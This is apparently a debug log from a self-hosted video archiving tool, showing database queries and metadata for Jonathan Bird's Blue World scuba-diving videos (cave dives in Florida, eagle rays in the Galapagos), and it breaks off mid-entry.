"N1tKGFoW7W8", "https://www.youtube.com/watch?v=N1tKGFoW7W8", 34, 1404, false, "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", false, ~U[2025-07-05 14:00:11Z]] 19:02:13.015 [debug] QUERY OK source="sources" db=0.2ms idle=83.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:13.016 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:13.016 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119037] 19:02:13.016 [debug] Current batch of media processed. Will check again in 1000ms 19:02:14.017 [debug] Current batch of media processed. Will check again in 1000ms 19:02:15.018 [debug] Current batch of media processed. Will check again in 1000ms 19:02:16.020 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "duration" => 1127, "filename" => "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", "id" => "8t_R2cmYrBY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8t_R2cmYrBY", "playlist_index" => 13, "timestamp" => 1749909611, "title" => "ROCKY HORROR Cave Dive at Madison Blue Springs!", "upload_date" => "20250614"} 19:02:16.020 [debug] QUERY OK source="sources" db=0.3ms idle=1798.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:16.021 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1799.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:16.023 [debug] QUERY OK source="media_items" db=1.6ms idle=1800.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 14:00:11Z], 34] 19:02:16.026 [debug] QUERY OK source="media_items" db=2.0ms idle=1090.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "ROCKY HORROR Cave Dive at Madison Blue Springs!", "a298cccf-0a7a-412b-94aa-f1eccfb6bfd2", "8t_R2cmYrBY", false, "https://www.youtube.com/watch?v=8t_R2cmYrBY", 34, [], 1127, false, 13, "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", false, false, 98, ~U[2025-06-14 14:00:11Z], ~U[2026-06-02 23:02:16Z], ~U[2026-06-02 23:02:16Z], "Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "ROCKY HORROR Cave Dive at Madison Blue Springs!", "8t_R2cmYrBY", "https://www.youtube.com/watch?v=8t_R2cmYrBY", 34, 1127, false, "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", false, ~U[2025-06-14 14:00:11Z]] 19:02:16.026 [debug] QUERY OK source="sources" db=0.1ms idle=88.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:16.027 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:16.027 [debug] QUERY OK source="media_items" db=0.1ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119038] 19:02:16.027 [debug] Current batch of media processed. Will check again in 1000ms 19:02:17.028 [debug] Current batch of media processed. Will check again in 1000ms 19:02:18.029 [debug] Current batch of media processed. Will check again in 1000ms 19:02:19.030 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "duration" => 1188, "filename" => "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", "id" => "nVlQUwxiNwg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nVlQUwxiNwg", "playlist_index" => 14, "timestamp" => 1748095211, "title" => "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "upload_date" => "20250524"} 19:02:19.031 [debug] QUERY OK source="sources" db=0.2ms idle=1809.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:19.031 [debug] QUERY OK source="sources" db=0.2ms idle=1809.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:19.033 [debug] QUERY OK source="media_items" db=1.8ms idle=1810.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 14:00:11Z], 34] 19:02:19.036 [debug] QUERY OK source="media_items" db=1.6ms idle=1094.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "25a3ac90-32ff-495d-905c-ec067ef6d3b5", "nVlQUwxiNwg", false, "https://www.youtube.com/watch?v=nVlQUwxiNwg", 34, [], 1188, false, 14, "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", false, false, 98, ~U[2025-05-24 14:00:11Z], ~U[2026-06-02 23:02:19Z], ~U[2026-06-02 23:02:19Z], "In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "nVlQUwxiNwg", "https://www.youtube.com/watch?v=nVlQUwxiNwg", 34, 1188, false, "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", false, ~U[2025-05-24 14:00:11Z]] 19:02:19.036 [debug] QUERY OK source="sources" db=0.2ms idle=94.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:19.036 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:19.037 [debug] QUERY OK source="media_items" db=0.2ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119041] 19:02:19.037 [debug] Current batch of media processed. Will check again in 1000ms 19:02:20.038 [debug] Current batch of media processed. Will check again in 1000ms 19:02:21.039 [debug] Current batch of media processed. Will check again in 1000ms 19:02:22.041 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 